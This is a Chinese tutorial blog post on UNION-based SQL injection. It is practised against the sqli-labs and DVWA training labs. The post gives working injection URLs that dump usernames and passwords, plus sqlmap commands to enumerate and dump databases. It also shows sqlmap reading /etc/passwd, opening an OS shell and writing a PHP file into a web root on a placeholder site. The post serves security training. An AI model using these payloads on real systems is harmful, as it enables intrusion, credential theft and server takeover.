ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

web安全之sql注入(2)

2021-11-28 02:02:00  阅读:238  来源: 互联网

标签:sqlmap web 127.0 -- 查询 0.1 sql id 注入


          联合查询(union)注入

  • 目录

  • 联合查询注入原理

  • 联合查询注入实操

  • sqlmap进行联合查询注入


 

一. 联合查询注入原理

1. mysql联合查询语法介绍

联合查询属于mysql的多表查询;

联合查询语法:select column1,column2,column3 from table1 union select column1,column2,column3  from table2 

 

 联合查询第二个表的字段数必须和第一个表的字段数相同;不然会报错;

变化性联合查询:

 

 主要字段数相同,后面select函数查询什么都可以,哪怕是字符串;

 

2. 源码查看

打开sql注入靶机sqli-labs-master的第一关查看源代码

主要源代码是我下面截图的部分

 

 其中主要的一句sql语句是:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其中id是我们GET传参传入的一个变量;可以看到输入正常的语句数据库并不会有问题

但是当$id=1' union select 1,2,database() -- - 时,整个sql语句就变成了

$sql="SELECT * FROM users WHERE id='1' union select 1,2,database() -- -' LIMIT 0,1"; (其中-- -为注释符,注释后面)

由于id参数外界可控;所以就形成了sql注入漏洞;攻击者利用这个漏洞可以查看(数据库当前用户权限)可以查看的任意资源;相当于拥有了与当前web绑定用户的所有权限;

sql注入产生的两大因素:1. 可控变量 2. 数据库交互

 

3. 联合查询常用函数

concat()        横向合并

group_concat()     纵向合并

order by x        猜解字段数

limit x,1            逐行显示

database()       显示当前数据库

version()        显示当前版本

user()          显示当前用户

-- -  #  --+     注释符号

/**/  %0a  +     空格符

/*!*/            内联注释             

二. 联合查询注入实操

1. 攻击环境

靶机:127.0.0.1主机;phpstudy环境;sqli-labs-master靶机;第三关

攻击机:127.0.0.1主机

2. 攻击步骤

(1)查看主页:127.0.0.1/sqli-labs-master/Less-3

 

 (2)查询注入点(闭合)

常见闭合方式:'  ',"  ",(  ),('  '),("  "),'%  %',"%  %",('%  %'),("%  %")," '  ' "

其中:如果索引值为数值型,可以是数字or字符;如果索引值是字符型,只能是字符

mysql有个特殊的情况,真=1,假=0

 

 在第三题中,我输入?id=1' and '1'='1  页面正确;输入?id=1' and '1'='2  页面错误;我以为 ' 为闭合符号,后来才发现不是;先使用注释符号进行尝试,别整什么左右闭合

猜测出闭合符号:')

?id=1') and 1=1-- - 正确;

 

 

?id=1') and 1=2-- - 错误;

 

 

 

 

 

(3)查询字段数

order by x 函数进行字段数查询;当当前字段存在时,则页面正常。当当前字段不存在时,则页面错误。(推荐二分法)

 

 当order by 3时正确;当order by 4时错误;字段数为3

 

 

 

 

(4)查询数据库名:

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,database()-- -

 

 

(5)查询表名:

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where 
table_schema='security'-- -

 

 

(6)查询字段名:

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where 
table_name='users' and table_schema='security'-- -

 

 

 

 

(7)查询数据:

1)一行一行查询:limit x,1函数

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,concat(id,0x7e,username,0x7e,password) from users limit 0,1-- -

 

 其中改变limit 0,1的0为0~1~2 可以获取不同的行

 

 2)一次性全部查询:group_concat()函数

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(concat(id,0x7e,username,0x7e,password)) from users-- -

 

 

三. sqlmap对联合查询的使用

1. sqlmap的重要参数

-u      指定url

-p      指定注入参数

-D      指定数据库名

-T      指定表名

-C      指定列名

--dbs       查询所有数据库名

--current-db  查询当前数据库名

--tables    查询所有表

--columns   查询所有列

--batch     自动化默认操作

-r       指定路径          burp抓到的包指定路径(适合post;有cookie;免验证)

--forms      自动识别post表单参数    适合无登录的url,或手动添加cookie

--cookie    指定cookie

 

2. sqlmap实操

(1)针对无验证的联合查询注入

靶机:http://127.0.0.1/sqli-labs-master/Less-4/

攻击机:127.0.0.1

 

查询是否存在注入点

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" --batch

 

 

查询当前数据库

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid --current-db --batch

 

 

查询当前表

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security --tables --batch

 

 

 

 

查询当前字段

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security -T users --columns --batch

 

 

 

 

查询当前数据

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security -T users -C id,password,username --dump --batch

 

 

 

 

(2)针对有验证的联合查询注入

靶机:DVWA

攻击机:127.0.0.1

 

查询当前参数是否存在注入点

不添加cookie身份进行测试;

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --batch

 

 添加cookie进行测试

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid 
--cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch

 

 回显为可以注入点

 

查询当前数据库名:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch --current-db

 

 

 

 

查询当前所有表名:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid 
--cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa --tables

  

 

 

 

 

查询当前所有字段名:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa -T users --columns

  

 

 

 

 

查询数据:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa -T users -C user,password --dump

  

 

 

 

 

(3)sqlmap写扩展功能

sqlmap注入点测试广度:

--level参数  1-5级别;默认1级别

sqlmap注入点测试深度:

--risk参数    1-3级别;默认1级别

执行shell

--os-shell

sqlmap读文件

-file-dest

 sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2

sqlmap写文件

-file-write

 sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2

sqlmap脚本引用参数:

--tamper

 

标签:sqlmap,web,127.0,--,查询,0.1,sql,id,注入
来源: https://www.cnblogs.com/fifteenzz/p/15614197.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有